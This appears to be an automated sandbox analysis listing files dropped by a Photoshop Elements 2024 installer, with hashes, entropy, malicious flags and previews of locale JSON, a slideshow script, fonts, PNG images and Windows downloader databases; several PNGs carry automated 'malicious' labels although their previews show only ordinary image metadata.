Preview:	{.. "Name": "Sj.lvstudiekurser f.r Photoshop Elements",.. "SubTitle": "Kom ig.ng, l.r dig det grundl.ggande och bli inspirerad.",.. "Operating1xWin": "Windows 7 med Service Pack 1 (64-bitars) kr.vs",.. "OperatingSystemMac": "macOS 10.12 kr.vs",.. "Memory": "Om du vill installera programmet m.ste du ha minst 4 GB med RAM-minne",.. "TextSlide1": "Matcha f.rg och ton fr.n ett annat foto eller anv.nd f.rinst.llningar.",.. "TextSlide2": "Skapa stiliserad text p. n.gra sekunder.",.. "TextSlide3": "Skapa och dela filmrulle i mp4-format.",.. "TextSlide4": "Klicka en g.ng f.r att markera en himmel eller bakgrund.",.. "TextSlide5": "Nytt fr.scht utseende . med ljust och m.rkt l.ge.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panelen Snabb.tg.rder f.r redigeringar med ett klick",.. "TextSlide8": "Adobe Stock-integrering",.. "TextSlide9": "Webb- och mobiluppdateringar ",.. "TextSlide10": "(betaversion endast p. engelska)"..}

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\zh_cn\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	533
Entropy (8bit):	5.952077038813362
Encrypted:	false
SSDEEP:	12:r4DRWf0pJ3bu1BJoWhu0mdu3lcW0mdJ3xMIYyeKOTuHHVy1r9R:ARWf2J36aQue3lcW8T1Y1ydv
MD5:	9558152FC5BA73DAE53330E8F74103C3
SHA1:	4583E8593C9BFFE79DB23F204D40F459EE4C579A
SHA-256:	E716DAFAC7426644D61477EF792C1D26FF02E683494E6AE3BBF18FE5672F2409
SHA-512:	A860CFEEFAB7A35CD5B9BA4A9735ECFCD593291D32A846F531AE507A5090DB422F57C4C843341C50D33CC092FDAC8BC1F48ACAF217D400C71440998D2C571581
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements ..",.. "SubTitle": ".................",.. "Operating1xWin": "Windows 7 Service Pack 1.64 ........",.. "OperatingSystemMac": "Mac OS 10.12......",.. "Memory": "..... 4GB RAM .........",.. "TextSlide1": "._[Vo8] Instantly turn photos into works of art.",.. "TextSlide2": "._[Vo9] Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._[Vo+] Warp photos to fit any shape."..}

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\zh_tw\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	535
Entropy (8bit):	5.95952674339767
Encrypted:	false
SSDEEP:	12:r4DRWPu5tTJ3bu1BJoWI3lcnqX+M9L5KOTPWHHVy1b9R:ARWPufJ36a33lcqXnP1I1ydv
MD5:	480263433597D1DA400B0CAB80456B3C
SHA1:	B89620BDC7F4C0917EED3CD3D0DE256A8D2AD23B
SHA-256:	DEF0A09F07831DF10E11B346F2130509CB3AB30991C15A7FBDFE3D4AF6889562
SHA-512:	B910FFDFB82C529E6F8E73A389B336117751356273FF4DAC776F456E9298EF72C903A3F39A09EE2F01207FD7860E5BE1BF05AB94843320B51E954589FA524805
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements ....",.. "SubTitle": ".................",.. "Operating1xWin": "Windows 7 Service Pack 1 (64 ..) (....)",.. "OperatingSystemMac": "Mac OS 10.12 (....)",.. "Memory": "..... 4 GB . RAM ........",.. "TextSlide1": "._[Vo8] Instantly turn photos into works of art.",.. "TextSlide2": "._[Vo9] Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._[Vo+] Warp photos to fit any shape."..}

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\zz_zz\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	500
Entropy (8bit):	4.923628829725424
Encrypted:	false
SSDEEP:	12:r4DRWrsxRrW/c3bu1BJoWF3lcnRFJgjCd2OT+ZHHVy1HNTR:ARW2Rv36a83lcHd5K1yZNl
MD5:	8BE468F56ED75DF9FD6E9296736C7437
SHA1:	6A5387D379E90A41DF202F2186DD520F707C91B4
SHA-256:	AA811CB8BD2936A0B7F3F884E3347D9DBF4663ABFFDAF64401A13F7910C5FF86
SHA-512:	85C55278DBAF490AD4686CEA2D3EDCC54C891654FE16B5129F5D28C20C2AB9D3A6AB98286F93FFA09906E7D74FDA9A1E8357ABE2A9B2643879C5C775D9372510
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements tutorials",.. "SubTitle": "Get started, get the essentials, get inspired.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (Minimum required)",.. "OperatingSystemMac": "Mac OS 10.12 (Minimum required)",.. "Memory": "You need minimum 4Gb RAM to install the application",.. "TextSlide1": "Instantly turn photos into works of art.",.. "TextSlide2": "Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "Warp photos to fit any shape."..}

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\carousel.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2787
Entropy (8bit):	5.184018118549148
Encrypted:	false
SSDEEP:	48:NrWwZsezuvmwQr3TcEuDgAIKRzpIrspGZXBi0ahMDPTAP96kP9N9P9ciP9aMHLPU:4wZ6pQrRu00lIrW4i0rTMU4LBSS574Es
MD5:	44D3F90C842E5387DD782BC6097FABBD
SHA1:	CB6F6D2D643A5D958BD00D7C212BD35C2BB4DDEB
SHA-256:	DDA5350E57A484A80CA07489F18F064D67E21CCB08B36FF2BFA2C37657D6F37F
SHA-512:	3BB152DA1E07A6A86C375A3790C65C185557F92B0148A0C41CB4E1C5D079C3F9E7EC33F6E08652669AB6BFCDABF61B358FDAA353CCF1BFB0D99E4B8C5F6188C6
Malicious:	false
Preview:	$(document).ready(function() { cecInit(); });....function cecInit() {.. var jsonData;.. var locale = getParameterByName("locale");.. var isHighDpi = getParameterByName("isHighDpi");.... $("html").attr("lang", locale.slice(0, 2));.... cecGetLocaleJson(locale);..}....function resizeWin() { myWindow.resizeTo(455, 239); }..var slideIndex = 0;..showSlides();....function showSlides() {.. var i;.. var slides = document.getElementsByClassName("mySlides");.. for (i = 0; i < slides.length; i++) {.. slides[i].style.opacity = "0";.. slides[i].style.visibility = "hidden";.. }.. slideIndex++;.. if (slideIndex > slides.length) {.. slideIndex = 1;.. }.... slides[slideIndex - 1].style.opacity = "1";.. slides[slideIndex - 1].style.visibility = "visible";.... if (slideIndex == 6) {.. slideIndex = 0;.. }.. setTimeout(showSlides, 6000); // Change image every 5 seconds..}....function getParameterByName(name) {.. name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");.. var

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\css\fonts\adobeclean\adobeclean-regular-webfont.woff

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	Web Open Font Format, TrueType, length 31112, version 1.0
Category:	dropped
Size (bytes):	31112
Entropy (8bit):	7.984152889259412
Encrypted:	false
SSDEEP:	768:4ol18SuOO3bBAughXjNPQsXVjWuu7jqWdTS2gS:Lr6tAugVjN4sXJYjqWdm2V
MD5:	6AF297E58EDC414EE90C76C2D3EA8678
SHA1:	7497D181CD6FE3A4B01A4F8B6BA6A47D3FA54333
SHA-256:	3E8F59DB6DFAE287AF8DCCC0FDF5E15A8AA2A954C2C232BC6C64536E1A27EAA5
SHA-512:	61E14F8E605C4D2B52C9A874F40E73FDE43625BC468BA3C7316E7672CFFD05B7C1766C875FC1B48218BD2B6856226645EE9BCB45810EB7121C5DBD0C184B7D0A
Malicious:	false
Preview:	wOFF......y................................BASE.......J....c`[.FFTM............[...GDEF.......#...&....OS/2.......X...`j..#cmap...d.........B.cvt .......V...V.}..fpgm...@.......e../.gasp................glyf......k4.....8.head..q4...2...6..Cohhea..qh... ...$.r.hhmtx..q....Y.....6P.loca..s..........c..maxp..u.... ... ....name..u....(...2.JI.post..v..........k.prep..x.........:.&cx.c`d``..b..>........<...7............l....<...6..`d`...a`....d...z.....x.c```d....6...'{..@.J.b%...x.c`d``..b9..`.BF..@...%....c..+O...x.c`a~.8.......,...,..t.!.).Hs.23..01.$00..............o....w00..d.P``...c......\..y..x.c```f.`..F..8..1..,..........P..1............).9.%.5.}.+.x.5.J..~........1...AA@ABA.............._..........p.......~.......4?0..H.).S.....l.p.L@..]..,.l...\.<.\|...B.".b...R.2.r...J.*.j...Z.:.z...F.&.f...V.6.v...N...n...^.>.~...A.!.a...Q.1.q....m..g.[.h...W.^.f..u.6n.e..{v...P...y.baA...,..Y......`...0.....b...Kjj.~...k.n_..........>{.Py..CKOsoW...}S.1L.3w6..c.@MU@.../.>...

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\css\styles.css

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	189
Entropy (8bit):	4.841995719284234
Encrypted:	false
SSDEEP:	3:5RFKqvZKSYRvsDQR7C8jOIbQvLwKEUc3XKRCRNKLUDfFLKYgEQmXt:PJ9MsfIsvMfHHKRkNlZLKYgE7t
MD5:	3A0EC2D2C5020A3CF45C13A87434B285
SHA1:	12275D4D51DE801CE28C88A0C246DE22C6D08120
SHA-256:	406288E48CED388744E5165A1EC4266F419CC409E4A70036E4B15A93AF5C42AB
SHA-512:	A7C6D55F64D91E5D71661E040F4D06D2C873E0B2D2A3B2E52FF60D230A7C7C0924CD0DDC4DC124D53736C934023A27D6ED77C1266732F0B5DE5DC75B02715C8B
Malicious:	false
Preview:	@charset "utf-8";..@font-face {...font-family: 'AdobeClean';...src: url('fonts/adobeclean/adobeclean-regular-webfont.woff') format('woff');...font-weight: normal;...font-style: normal;..}..

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\01_PSE2024_InstallerCarousel_ColorMatch_445x239.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	218501
Entropy (8bit):	7.994177806609243
Encrypted:	true
SSDEEP:	6144:IF6yyknzdRSTey+E4xlziCaENqYYRPuL1hGQ/uve:q6dkzdRzyfUlOZENXYJ2jGve
MD5:	70155993A908DD3F179030722111DAFD
SHA1:	7F77A6DA3295559977185127DF0131DFEAAB6401
SHA-256:	CE3DB74C58B62C946144D90E1B98982846BFDBA928F3832EFF5DFB0800BD14DD
SHA-512:	F4F84A88984EA656A13AD7D2F171688910528692E4CDEA2128C01EAAEE1E342AED9CD381162B888634083B38B36D34EEA31AF05E8BA0790570FB26125E6926EE
Malicious:	true
Preview:	.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:43-07:00" xmp:MetadataDate="2023-06-08T09:43:43-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:9cd1a8a5-fa0f-4664-954e-671adbe841c1" xmpMM:DocumentID="adobe:docid:photoshop:33d3baaf-635d-744b-8709-2bf9163d9686" xmpMM:OriginalDocumentID="xmp.did:f

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\02_PSE2024_InstallerCarousel_AddText_445x239.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	196538
Entropy (8bit):	7.994396839674714
Encrypted:	true
SSDEEP:	3072:CnSlcookIH/9pdgUmvcFsGE4WywNB2DuN/7/r+Hh44JJwN+xMAr/Goh2qMdi3Add:EDo3ctFsR/Ht7KBRTiAr/GDVH7qfpgJb
MD5:	ECBDD07F272A819936179371478A8C3F
SHA1:	FF77202067ACB0463E7878C44004CF55549325C1
SHA-256:	D370C16BDA414ECEED68A3432A1C2EBD37E3E84151E667CA5FCC2DA1A6876305
SHA-512:	1B9FBD76C08CDAD927583F80FE5854EBFF55741805ADE093071A4BEEF0887DEF2CB456AD1B996CE110DD45F9E1B329457833BFF4DA0D391E0E7770D0FF119D21
Malicious:	true
Preview:	.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:26-07:00" xmp:ModifyDate="2023-06-08T09:43:44-07:00" xmp:MetadataDate="2023-06-08T09:43:44-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:4879ee18-af3c-48f2-a799-f0d2eb0add0b" xmpMM:DocumentID="adobe:docid:photoshop:63b35f9e-9203-bb4d-9b26-ed4aa5736dba" xmpMM:OriginalDocumentID="xmp.did:e

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\03_PSE2024_InstallerCarousel_PhotoReels_445x239.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	149774
Entropy (8bit):	7.991574130023794
Encrypted:	true
SSDEEP:	3072:55ne4y2rhCF9yOm7QMflNGiYb+s9N5FsUA5FLOI70degQa:Pn3rkF27Q6Sbp0PLOI7GR
MD5:	6FC7D9D817DECC0ECA1F54C1540DA1A0
SHA1:	01959A4664CF3EA64A9CC85E6F8F60B25698107B
SHA-256:	9426BB5B0A9E4524C05C861781A8599646B83B0572F548A065C0EC6B791B016D
SHA-512:	1C492B0926915206A4A233FC1F00F3A5DF21AF7C957F00573BC7780E42A3AFAA444002B9420C31A6AC65C89B4B72DD26E6F640302F8C8240592AB5CA3636FC39
Malicious:	true
Preview:	.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:45-07:00" xmp:MetadataDate="2023-06-08T09:43:45-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:ecb4903c-3b3e-489c-8b36-4bd9573232de" xmpMM:DocumentID="adobe:docid:photoshop:32c69ae6-f6d6-d24d-96bd-887f72b4446c" xmpMM:OriginalDocumentID="xmp.did:5

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\04_PSE2024_InstallerCarousel_OneClickSelection_445x239.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	190441
Entropy (8bit):	7.9969327976436695
Encrypted:	true
SSDEEP:	3072:/FkChxBSQXzJ6QT8bCMw8zYi2qgI4rD/lkX4uVToHq2H263TtV+kPbhKztvyKCy:9kCnBS4zaZdbfX4POX4u1oHqgLP+kPOp
MD5:	448941A2F024056569EF9817EEFEB9A7
SHA1:	544EC13242A4B9BD3E0A4D65079C55DF006D6D24
SHA-256:	21EFD9F1038B0D96E1D14A54E2A57F0EA407149F4C522CF23B617932F7336743
SHA-512:	1CE6C24D06CA13F200C7F856887F644C61AFC2DFD5C25C35197002DF4CD519A7EB98C253A6DCFC05017CD60A7DFFBFD4489DC8C068F6E4638BE546B7BEC0BB62
Malicious:	true
Preview:	.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:46-07:00" xmp:MetadataDate="2023-06-08T09:43:46-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:3f70fe00-776c-4639-9501-80a213adaf5c" xmpMM:DocumentID="adobe:docid:photoshop:403eff47-3e40-d943-b1f3-cd79be874dc9" xmpMM:OriginalDocumentID="xmp.did:6

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\05_PSE2024_InstallerCarousel_CallOut_445x239.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	222420
Entropy (8bit):	7.994042748653122
Encrypted:	true
SSDEEP:	6144:jcz9b7RCO9pmE6Ko+87V5lIjrYR3XrwPaQOtI:jcz9nRChwQ55lAosPaptI
MD5:	D428286039502448A467942D6F20772E
SHA1:	412C3EA49EC6BC7EB0C52D778BC4E95E33201D88
SHA-256:	61DA52D1E93196300E6E2DD189CB3F5BD5389A42CEA0903139E4D2F475CB6B2E
SHA-512:	0022EB09B113D0B5B584B08458A1D2FB6381758CC94675D98F3EB118D48B4B4444477371D5C9D82C89F8027874D8B70F533327716E27E2395FCF19E8F102EDA4
Malicious:	true
Preview:	.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:47-07:00" xmp:MetadataDate="2023-06-08T09:43:47-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:7ac500a4-b904-4744-8465-5d68e86d59d2" xmpMM:DocumentID="adobe:docid:photoshop:a720b7d4-b284-e144-a70b-eee0bf83c698" xmpMM:OriginalDocumentID="xmp.did:4

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\05_PSE2024_InstallerCarousel_NewUI_445x239.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 890 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	553301
Entropy (8bit):	7.995654160787874
Encrypted:	true
SSDEEP:	12288:epoqx1wWl8qxmvXfTrc+toMT06H+rI6k2S+LmWJXEUon:Ooqx1kqGX/DLXzhEmG0Vn
MD5:	3ED1397092BD3EAFDFE71335BF5F5E3C
SHA1:	9D1DBE45E4F1F12A0642EED50F91FDC8DA3B888A
SHA-256:	8276F8BE890ABEEC09B6AAB522F7B45F60ABE2BFA51FEC333924537BABF9D9E3
SHA-512:	5DBE0A094498615CD944F7A16888E4603DC357779A9CA8D8DDEBDCF8AD8C72106EFFD316E3078037EBF254245D2C25BEA5A3ADFE773CCB783090206EE9D75A78
Malicious:	true
Preview:	.PNG........IHDR...z..........Ay.....sBIT....\|.d... .IDATx^...dWy..U.'.(."(#....H(..&K...0a...m..,^.X..Y2.......QB $!..(.Q...=.9W......)uuu....s...U..{.{..~.$.......@@ ...........@@ ...3.$..3}.............@@ ........@..@.........@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..]N......04' ..............@"....Z.......D......^.i.r@ ..........9.@5bW..9.FhL@`/A`........_h###V($..LX"..d2.....g..Y...($-...`9

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\index.html

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (484), with CRLF line terminators
Category:	dropped
Size (bytes):	4509
Entropy (8bit):	5.497933185923274
Encrypted:	false
SSDEEP:	96:hSq8uLYbW1sfMUKJpmtqunn4TJPxqfR7vzf:sX+QQaym6CZ7
MD5:	348352BAA22F54466691B8673B6B6C93
SHA1:	5F6606EA02606FEC542690E80273AA5FFAAFF0AE
SHA-256:	39E5810ACB9489EDF3918ADB3746255866975AFC1F6AB65FFC2BA598C505D2B1
SHA-512:	F2749AE136CA182DF2D0FE31DDED8069D8AD915AA8BEEC02871A675BE8F0666042B5E91F4DB39F751A4AECB240DCDB1A23377EB4107EA77FB5B0A478090135D3
Malicious:	false
Preview:	<!DOCTYPE html>..<html>..<head>...<meta charset="UTF-8">..<title>PSE installer slideshow</title>..<meta name="viewport" content="width=device-width, initial-scale=1">...<link href="https://use.typekit.net/af/c2b3ac/0000000000000000000176ff/27/l?unicode=AAAIKgAAAAeBbOxmgCK-MdR34PEMRZ1Tp9CwbKr4ekaVGobt7iigFXgNffcWrPD_gJGcqz4xm1ZHNxQko2H768-q_TQrRlbWnqbTqCadCnzX6SMLdOBM8TwhjODtXWG7u6eXofuwSXdUrzPUKbfKpbP6PlW4uDR0-6_uxx_z2oPZb3FtGAlPVL4uieBXWVbsZ4asc6c4x6xRdBebJFZn5j3znnW2M2LSxdS-vENrhYjQcGpEJr10KhGz9SJjgjddqPchFHp-i9IDPTig_GvFioJvHs2SJsCuNUs-qApsimZXK9dDrVIGetZ_W6VrfDwKAGEfm-zn0HbNFllfrTmy7jrTddn22c9_90qThgAAAE4&features=ALL&v=3" rel="stylesheet">...<link rel="stylesheet" href="css/styles.css">......<style>.....html {....background-color: #fff;.....}..* {box-sizing: border-box;}..body {...margin:0px;}...mySlides {opacity: 0; position: absolute; transition: all 1s;}..img {vertical-align: middle;}..../* Slideshow container */...slideshow-container {.. max-width: 445px;.. position: relativ

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\lib\jquery.min.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	dropped
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8146887695758652
Encrypted:	false
SSDEEP:	3072:2JIB/wUKUKQncEmYRTwh0AYLpipLpDLpe:sUK+RLpipLpDLp
MD5:	00B07B11473DE6BA9C373B1848B21098
SHA1:	2594A920342C0329922C90CE66A77866ACEE0E57
SHA-256:	E97DF50A254AC155DC496C1DEAD4A67AC971B929548840F5BC5E374B7FC507E6
SHA-512:	D9EFF0A1C84526DE9A62EA89AB86FE18FDE81171303C4D816D14E4612142C652B6785F6F5253E7E7801E2A83B086C8B51930A1F9D5C7D7C967850E64E2648A0F
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x5df37335, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899999187451817
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:7azaPvgurTd42UgSii
MD5:	0C1894DCD0576A580EC273F9EDF0E524
SHA1:	9232587E7AA2FB8B2659B198A1173817A790BADC
SHA-256:	FFA5571AC8A9155366B9C8F598EC540234F37A16ADCB4F1F3EF79CE1653B88BF
SHA-512:	C3EA23B3AC9ADA35B6BE81BE72278934CEE2CDB7C36B578C6401A01B50CC7960EB88AB183FA3083696CFF6160F7F41338F4C15DB876C9383D0B52F5DF2887718
Malicious:	false
